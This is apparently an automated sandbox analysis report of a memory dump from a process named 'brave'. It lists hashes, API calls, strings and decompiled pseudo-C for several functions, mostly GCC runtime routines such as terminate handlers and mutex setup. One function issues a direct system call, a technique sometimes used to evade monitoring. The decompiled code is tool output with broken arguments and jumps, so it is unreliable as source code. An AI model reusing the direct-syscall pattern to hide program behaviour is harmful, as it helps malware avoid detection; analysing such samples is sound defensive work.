Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID: aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa
API String ID: 2392558662-2202276932
Opcode ID: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction ID: 5854d7f4aaff23a01796406e17cea95fd4ea0c3e97b232bd4338eb5380a4ddfa
Opcode Fuzzy Hash: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction Fuzzy Hash: 0A016261E18A1281EB60AB16FC5477AA270BB85BC9F9C0035DA4D8B668EF3CD581C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E829D0 Relevance: 9.1, APIs: 7, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b00a401353cf6abcbd2f7365254406fa47fe9b55e4bcc3c616ac570fa9d91661
Instruction ID: 8090278efd3af4b228068b71f21dd0b47c23ac1bc2cd22b38506d921dc47c0fc
Opcode Fuzzy Hash: b00a401353cf6abcbd2f7365254406fa47fe9b55e4bcc3c616ac570fa9d91661
Instruction Fuzzy Hash: C012F826A187D141FB11AB29E9057BAE7A0FF85B98F889231EE8C07795EF7CD040C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E97430 Relevance: 1.5, APIs: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF755E97464

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 18fc9eb0beef59feb2069f3d82c65cb9a1ff057ea185e49cfd705034b14c2068
Instruction ID: 6f1aa0c3f0a29e7a933dc2c0c3d5975d72713e659f5784d2692ea5e784663113
Opcode Fuzzy Hash: 18fc9eb0beef59feb2069f3d82c65cb9a1ff057ea185e49cfd705034b14c2068
Instruction Fuzzy Hash: 93F054E2B1564943DE65CF19FA4526AA3239B987D5F58C130D90C8BB6CEA3CE6468700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E84C80 Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF755E84C80(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32, long long _a40) {
				void* _t9;
				intOrPtr _t10;
				void* _t11;

				_pop(_t11);
				_a16 = __rcx;
				_a24 = __rdx;
				_a32 = __r8;
				_a40 = __r9;
				_t10 =  *0x56132b40; // 0x24ac1733
				_t9 = E00007FF77FF755E84C20(_t10, _t11);
				asm("syscall");
				return _t9;
			}

0x7ff755e84c80
0x7ff755e84c81
0x7ff755e84c86
0x7ff755e84c8b
0x7ff755e84c90
0x7ff755e84c99
0x7ff755e84c9f
0x7ff755e84cbf
0x7ff755e84cc1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction ID: 28347e3601dfccb33cbfce514e3fcf94362ea985cf7acb98fb975427dfc627cb
Opcode Fuzzy Hash: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction Fuzzy Hash: CDE0127AA08B8082D214EB02F88001EB764F7D87C4B00482AEECC17B29CF3CC1A08B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA3230 Relevance: 63.2, APIs: 13, Strings: 23, Instructions: 184
fileCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00007FF77FF755EA3230(void* __edi, void* __eflags, void* __rbx, void* __rcx, void* __rdx, int __rdi, void* __rsi, void* __r12, char* __r13, int __r14, void* __r15) {
				void* _t43;
				void* _t75;
				void* _t93;
				void* _t94;
				intOrPtr _t100;
				long long* _t107;
				void* _t113;
				long long* _t114;
				long long* _t134;
				long long _t136;
				void* _t142;
				char* _t153;
				void* _t154;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				long long* _t170;

				_t93 = __edi;
				_t156 = _t155 - 0x90;
				_t154 = _t156 + 0x90;
				 *((long long*)(_t154 - 0x38)) = 0x7562206c;
				_t138 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x40)) = 0x74696d62;
				 *((long long*)(_t154 - 0x30)) = 0x74726f70;
				_t5 = _t138 + 0x78; // 0x756f6e6520746fe6
				 *((long long*)(_t154 - 0x28)) = 0x70747468;
				 *((long long*)(_t154 - 0x20)) = 0x2e636367;
				 *((long long*)(_t154 - 0x18)) = 0x2f67726f;
				_t113 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x70)) = 0x20746f6e;
				 *((long long*)(_t154 - 0x68)) = 0x73206867;
				 *((long long*)(_t154 - 0x60)) = 0x726f6620;
				 *((long long*)(_t154 - 0x58)) = 0x2074616d;
				 *((long long*)(_t154 - 0x50)) = 0x6f69736e;
				 *((long long*)(_t154 - 0x48)) = 0x7361656c;
				 *((long long*)(_t154 - 0x10)) = 0xa3a292f;
				 *((char*)(_t154 - 8)) = 0;
				E00007FF77FF755E8F680(_t43);
				_t157 = _t156 - (_t5 & 0xfffffff0);
				 *((long long*)(_t157 + 0x58)) = 0x7562206c;
				 *((long long*)(_t157 + 0x50)) = 0x74696d62;
				 *((long long*)(_t157 + 0x68)) = 0x70747468;
				 *((long long*)(_t157 + 0x60)) = 0x74726f70;
				 *((long long*)(_t157 + 0x78)) = 0x2f67726f;
				_t142 = __rcx;
				 *((long long*)(_t157 + 0x80)) = 0xa3a292f;
				 *(_t157 + 0x20) = 0x20746f6e;
				 *((long long*)(_t157 + 0x28)) = 0x73206867;
				 *((long long*)(_t157 + 0x30)) = 0x726f6620;
				 *((long long*)(_t157 + 0x38)) = 0x2074616d;
				 *((long long*)(_t157 + 0x40)) = 0x6f69736e;
				 *((long long*)(_t157 + 0x48)) = 0x7361656c;
				 *((long long*)(_t157 + 0x70)) = 0x2e636367;
				memcpy(__rbx, __rsi, __rdi);
				 *((char*)(_t157 + _t113 + 0x88)) = 0;
				E00007FF77FF755EB23A0();
				0;
				0;
				_t158 = _t157 - 0x30;
				if ( *0x56132d60 != 0) goto 0x55ea34da;
				 *0x56132d60 = 1;
				E00007FF77FF755EB1BC0(0x2e636367);
				if (0x2e636367 == 0) goto 0x55ea34b0;
				 *((intOrPtr*)(_t158 + 0x2c)) = 0xffffffff;
				r8d = 0;
				E00007FF77FF755E8E1F0(0x2e636367,  *0x2E756E672E63636F + 0x2e636367, _t142, _t113, _t158 + 0x2c);
				_t114 =  *0x56132c70; // 0x7ff755ea1d50
				 *_t114();
				r8d = 0x30;
				fwrite(_t113, _t157 + 0x20);
				if ( *((intOrPtr*)(_t158 + 0x2c)) == 0) goto 0x55ea34a1;
				 *_t114();
				fputs(__r13);
				 *_t114();
				r8d = 2;
				fwrite(__r12, __r14);
				_t100 =  *((intOrPtr*)(_t158 + 0x2c));
				if (_t100 != 0) goto 0x55ea349c;
				free(__r15);
				E00007FF77FF755EB2110(2, 1, 0x2e636367, _t114, _t113, 0x2e636367,  *0x2E756E672E63636F + 0x2e636367, 0x2e636367);
				 *_t114();
				fputs(_t153);
				goto 0x55ea346b;
				 *0x56132c70();
				r8d = 0x2d;
				fwrite(??, ??, ??, ??);
				abort();
				 *0x56132c70();
				r8d = 0x1d;
				fwrite(??, ??, ??, ??);
				abort();
				if (_t100 != 0) goto 0x55ea356f;
				0x55eb1a10();
				_t107 =  *0x2e636367;
				 *((intOrPtr*)(_t107 + 0x10))();
				 *_t114();
				_t170 = _t107;
				r8d = 0xb;
				fwrite(??, ??, ??, ??);
				 *_t114();
				fputs(??, ??);
				 *_t114();
				fputc(??, ??);
				E00007FF77FF755EB1C20(_t107);
				goto 0x55ea34d5;
				0x55eb1a10();
				E00007FF77FF755EB1C20(_t107);
				_t178 = _t107;
				E00007FF77FF755EB1C20(_t107);
				_t134 = _t107;
				E00007FF77FF755E8FEC0();
				E00007FF77FF755EB19A0(_t93, _t94, _t107, _t134);
				 *_t107 = 0x56137100;
				_t75 = E00007FF77FF755EB2160(8, 1, 0x56137100, _t114, _t107, 0x56136af0, 0x7ff755ea31e0, _t170, _t178, 0x2e636367);
				_t136 =  *0x56132d30; // 0x1a8843c0080
				if (_t136 == 0) goto 0x55ea35e0;
				free(??);
				 *0x56132d30 = 0;
				return _t75;
			}

0x7ff755ea3230
0x7ff755ea323a
0x7ff755ea3241
0x7ff755ea3292
0x7ff755ea32aa
0x7ff755ea32ad
0x7ff755ea32bb
0x7ff755ea32bf
0x7ff755ea32cd
0x7ff755ea32df
0x7ff755ea32ed
0x7ff755ea32f1
0x7ff755ea32f4
0x7ff755ea32f8
0x7ff755ea32fc
0x7ff755ea3300
0x7ff755ea3304
0x7ff755ea3308
0x7ff755ea330c
0x7ff755ea3310
0x7ff755ea3314
0x7ff755ea3323
0x7ff755ea3333
0x7ff755ea3347
0x7ff755ea3356
0x7ff755ea3365
0x7ff755ea3374
0x7ff755ea3379
0x7ff755ea337c
0x7ff755ea338c
0x7ff755ea3391
0x7ff755ea3396
0x7ff755ea339b
0x7ff755ea33a0
0x7ff755ea33a5
0x7ff755ea33aa
0x7ff755ea33af
0x7ff755ea33b7
0x7ff755ea33bf
0x7ff755ea33ca
0x7ff755ea33ce
0x7ff755ea33d5
0x7ff755ea33e0
0x7ff755ea33e6
0x7ff755ea33ed
0x7ff755ea33f5
0x7ff755ea340b
0x7ff755ea3416
0x7ff755ea3421
0x7ff755ea342b
0x7ff755ea3435
0x7ff755ea3443
0x7ff755ea344c
0x7ff755ea345c
0x7ff755ea345e
0x7ff755ea3466
0x7ff755ea3470
0x7ff755ea3472
0x7ff755ea3487
0x7ff755ea3490
0x7ff755ea3492
0x7ff755ea3497
0x7ff755ea349c
0x7ff755ea34a1
0x7ff755ea34a9
0x7ff755ea34ae
0x7ff755ea34b5
0x7ff755ea34bb
0x7ff755ea34d0
0x7ff755ea34d5
0x7ff755ea34df
0x7ff755ea34e5
0x7ff755ea34fa
0x7ff755ea34ff
0x7ff755ea350b
0x7ff755ea350d
0x7ff755ea3515
0x7ff755ea3518
0x7ff755ea3523
0x7ff755ea3525
0x7ff755ea3528
0x7ff755ea353a
0x7ff755ea3544
0x7ff755ea354c
0x7ff755ea3556
0x7ff755ea3560
0x7ff755ea3565
0x7ff755ea356a
0x7ff755ea356f
0x7ff755ea3574
0x7ff755ea357e
0x7ff755ea3581
0x7ff755ea3586
0x7ff755ea3589
0x7ff755ea3599
0x7ff755ea35b6
0x7ff755ea35b9
0x7ff755ea35c4
0x7ff755ea35ce
0x7ff755ea35d0
0x7ff755ea35d5
0x7ff755ea35e4

APIs

memcpy.MSVCRT ref: 00007FF755EA33AF
fwrite.MSVCRT ref: 00007FF755EA34D0

Part of subcall function 00007FF755E8E1F0: strlen.MSVCRT ref: 00007FF755E8E27E
Part of subcall function 00007FF755E8E1F0: memcpy.MSVCRT ref: 00007FF755E8E292
Part of subcall function 00007FF755E8E1F0: free.MSVCRT ref: 00007FF755E8E29D

fwrite.MSVCRT ref: 00007FF755EA344C
fputs.MSVCRT ref: 00007FF755EA3466
fwrite.MSVCRT ref: 00007FF755EA3487
free.MSVCRT ref: 00007FF755EA3497
fputs.MSVCRT ref: 00007FF755EA34A9
abort.MSVCRT ref: 00007FF755EA34D5
fwrite.MSVCRT ref: 00007FF755EA34FA
abort.MSVCRT ref: 00007FF755EA34FF
fwrite.MSVCRT ref: 00007FF755EA353A
fputs.MSVCRT ref: 00007FF755EA354C
fputc.MSVCRT ref: 00007FF755EA3560

Strings

org/bugs, xrefs: 00007FF755EA335B
port at , xrefs: 00007FF755EA334C
for for, xrefs: 00007FF755EA3267
l bug re, xrefs: 00007FF755EA3249
mat expa, xrefs: 00007FF755EA3271
not enou, xrefs: 00007FF755EA3253
gcc.gnu., xrefs: 00007FF755EA336A
nsion (P, xrefs: 00007FF755EA327B
terminate called recursively, xrefs: 00007FF755EA34F0
gcc.gnu., xrefs: 00007FF755EA32C3
https://, xrefs: 00007FF755EA333D
bmit ful, xrefs: 00007FF755EA3329
lease su, xrefs: 00007FF755EA3285
bmit ful, xrefs: 00007FF755EA3296
/): , xrefs: 00007FF755EA32E3
org/bugs, xrefs: 00007FF755EA32D5
port at , xrefs: 00007FF755EA32B1
what(): , xrefs: 00007FF755EA3533
terminate called without an active exception, xrefs: 00007FF755EA34C6
l bug re, xrefs: 00007FF755EA3319
https://, xrefs: 00007FF755EA32A0
gh space, xrefs: 00007FF755EA325D
terminate called after throwing an instance of ', xrefs: 00007FF755EA343C

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: fwrite$fputs$abortfreememcpy$fputcstrlen
String ID: what(): $ for for$/): $bmit ful$bmit ful$gcc.gnu.$gcc.gnu.$gh space$https://$https://$l bug re$l bug re$lease su$mat expa$not enou$nsion (P$org/bugs$org/bugs$port at $port at $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1586115568-1351603976
Opcode ID: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction ID: d05fe9b36950fabe4f1a6f89dfa9c66ca04f4ec720596a670ed9c1d562be5223
Opcode Fuzzy Hash: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction Fuzzy Hash: 0E71E125B0876145EB20ABB1ED453BDA2A5BB85F98FD84138ED8D4BB86CF3CD4008711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F840 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 157synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF755E8F848
CreateMutexA.KERNEL32 ref: 00007FF755E8F957
WaitForSingleObject.KERNEL32 ref: 00007FF755E8F968
FindAtomA.KERNEL32 ref: 00007FF755E8F97D
AddAtomA.KERNEL32 ref: 00007FF755E8F9BD
_onexit.MSVCRT ref: 00007FF755E8F9DA
ReleaseMutex.KERNEL32 ref: 00007FF755E8F9E2
CloseHandle.KERNEL32 ref: 00007FF755E8F9EB

Strings

aaaaaaaa, xrefs: 00007FF755E8F8F4
failed to to lock creation mutex, xrefs: 00007FF755E8FAB6
failed to add string to atom table, xrefs: 00007FF755E8FAA3
aaaaaaaa, xrefs: 00007FF755E8F8FE
__eh_shmem3_gcc_tdm_, xrefs: 00007FF755E8F897, 00007FF755E8F8C7
failed to get string from atom, xrefs: 00007FF755E8FAD6

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: __eh_shmem3_gcc_tdm_$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-4003979217
Opcode ID: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction ID: 29f91447ba667c1ce705fc7c6cc316b4128fc0aecfbc789e66214a4a6e0b39a6
Opcode Fuzzy Hash: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction Fuzzy Hash: 06617369E0869391FF11EB24FC062B6A7A0AF44B9AFCC8071C55D4B691FE3CA545C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8FC40 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF755E8FD13
abort.MSVCRT(?,?,?,?,?,?,00000000,00000001,?,?,00000060,?,00007FF755EB21C5), ref: 00007FF755E8FD19
RtlUnwindEx.KERNEL32 ref: 00007FF755E8FE2C

Strings

CCG , xrefs: 00007FF755E8FCAD
CCG!, xrefs: 00007FF755E8FC69
CCG!, xrefs: 00007FF755E8FD01
CCG", xrefs: 00007FF755E8FCA1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction ID: ca2f3722b838f82f206073789e2229353e289b65f9b574f458580686cd6f9b71
Opcode Fuzzy Hash: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction Fuzzy Hash: BC519276608B8086E7609F55F8806ADB3A4F789F98FA44135EF8D47B98CF38D491C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E92220 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 51
threadCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF755E92220(void* __edi, void* __esp, void* __rbx, void* __rdi, void* __rsi, void* __rbp, void* __r12, void* __r13, void* __r14, void* __r15) {
				char _v14;
				short _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v81;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				char _v120;
				void* _t206;
				signed int _t214;
				intOrPtr _t220;
				void* _t281;
				intOrPtr _t340;
				intOrPtr _t341;
				intOrPtr _t342;
				intOrPtr _t343;
				intOrPtr _t344;
				intOrPtr _t347;
				intOrPtr _t348;
				intOrPtr _t350;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t354;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t358;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t366;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t372;
				intOrPtr _t375;
				intOrPtr _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				intOrPtr _t383;
				intOrPtr _t384;
				intOrPtr _t386;
				intOrPtr _t389;
				intOrPtr _t391;
				intOrPtr _t392;
				intOrPtr _t394;
				intOrPtr _t395;
				intOrPtr _t401;
				intOrPtr _t402;
				intOrPtr* _t405;
				void* _t406;
				void* _t412;
				intOrPtr* _t413;
				signed long long _t415;
				void* _t436;
				signed long long _t482;
				void* _t492;
				long long _t494;
				intOrPtr* _t496;
				intOrPtr* _t497;
				void* _t498;
				void* _t499;
				void* _t517;
				void* _t518;
				void* _t526;
				void* _t536;

				_t499 = _t498 - 0x98;
				_v120 = 0x6f727245;
				_v112 = 0x696e6165;
				_v104 = 0x70732070;
				_v96 = 0x20737965;
				_v88 = 0x65726874;
				_v80 = 0x20737965;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				_v40 = 0;
				_v32 = 0;
				_v24 = 0;
				_v16 = 0;
				_v14 = 0;
				GetCurrentThreadId();
				r8d = 0xa;
				__imp___ultoa();
				if (_v81 == 0) goto 0x55e92332;
				goto 0x55e9230a;
				if (0x65726874 == 0x6b) goto 0x55e92327;
				if ( *((char*)( &_v120 + 0x65726874)) != 0) goto 0x55e92300;
				if (0 == 0x6a) goto 0x55e92327;
				 *((char*)(_t499 + 0x48)) = 0xa;
				 *((char*)(_t499 + 0x20646165726895)) = 0;
				OutputDebugStringA(??);
				abort();
				goto 0x55e9231b;
				asm("o16 nop [cs:eax+eax]");
				_t405 =  &_v120;
				E00007FF77FF755E90F00( &_v120);
				E00007FF77FF755E904E0(0x2064616572687d);
				_t220 =  *_t405;
				if (_t220 != 0) goto 0x55e923a0;
				E00007FF77FF755E92160();
				 *_t405 = 1;
				E00007FF77FF755E90800(0x2064616572687d);
				_pop(_t406);
				_pop(_t492);
				_pop(_t517);
				_pop(_t526);
				goto E00007FF77FF755E91110;
				if (_t220 == 1) goto 0x55e92382;
				 *0x56132c70();
				r9d = _t220;
				0x55ea16f8();
				goto 0x55e92382;
				asm("o16 nop [eax+eax]");
				_t496 =  *0x56136920; // 0x7ff756141400
				_t340 =  *_t496;
				if (_t340 == 0) goto 0x55e92518;
				if ( *((long long*)(_t340 + 0x60)) != 0) goto 0x55e92540;
				 *((long long*)(_t340 + 0x60)) = 0x56132bc8;
				E00007FF77FF755E904E0(0x56132bc8);
				if ( *((intOrPtr*)(0x20646165726a4d)) != 0) goto 0x55e925f0;
				if ( *0x206461657268C5 == 0) goto 0x55e92430;
				free(_t406);
				if ( *0x206461657268CD == 0) goto 0x55e9243e;
				free(_t492);
				if ( *0x206461657268D5 == 0) goto 0x55e9244c;
				free(__rdi);
				 *((long long*)(0x20646165726875)) = 0;
				 *((long long*)(0x20646165726a4d)) = 0;
				memset(__edi, 0, 2 << 0);
				_t341 =  *_t496;
				if (_t341 == 0) goto 0x55e92758;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0x55e92550;
				 *((long long*)(_t341 + 0x58)) = 0x561413b0;
				if ( *0x561413b0 == 0) goto 0x55e9255e;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0x55e925c0;
				 *((long long*)(_t341 + 0x58)) = 0x561413b0;
				 *((long long*)( *0x561413b0 + 0x1d0)) = 0x20646165726875;
				if ( *((long long*)(_t341 + 0x58)) == 0) goto 0x55e925e0;
				 *((long long*)( *((intOrPtr*)(_t341 + 0x58)))) = 0x20646165726875;
				if (_t341 == 0) goto 0x55e925a3;
				_t214 = 0 |  *((long long*)(_t341 + 0x60)) != 0x00000000;
				if (_t214 == 0) goto 0x55e925c9;
				if (_t341 == 0) goto 0x55e92a30;
				_pop(_t494);
				_t497 = _t517;
				_t518 = _t526;
				_pop(_t536);
				goto E00007FF77FF755E90800;
				E00007FF77FF755E97060();
				_t342 =  *_t497;
				if ( *((long long*)(_t341 + 0x60)) == 0) goto 0x55e92402;
				if (_t342 != 0) goto 0x55e92540;
				E00007FF77FF755E97060();
				asm("o16 nop [cs:eax+eax]");
				goto 0x55e9240d;
				if ( *((long long*)( *((intOrPtr*)(_t342 + 0x58)))) != 0) goto 0x55e924a7;
				if ( *((long long*)(_t342 + 0x58)) != 0) goto 0x55e926d8;
				 *((long long*)(_t342 + 0x58)) = 0x561413b0;
				 *0x561413b0 = _t494;
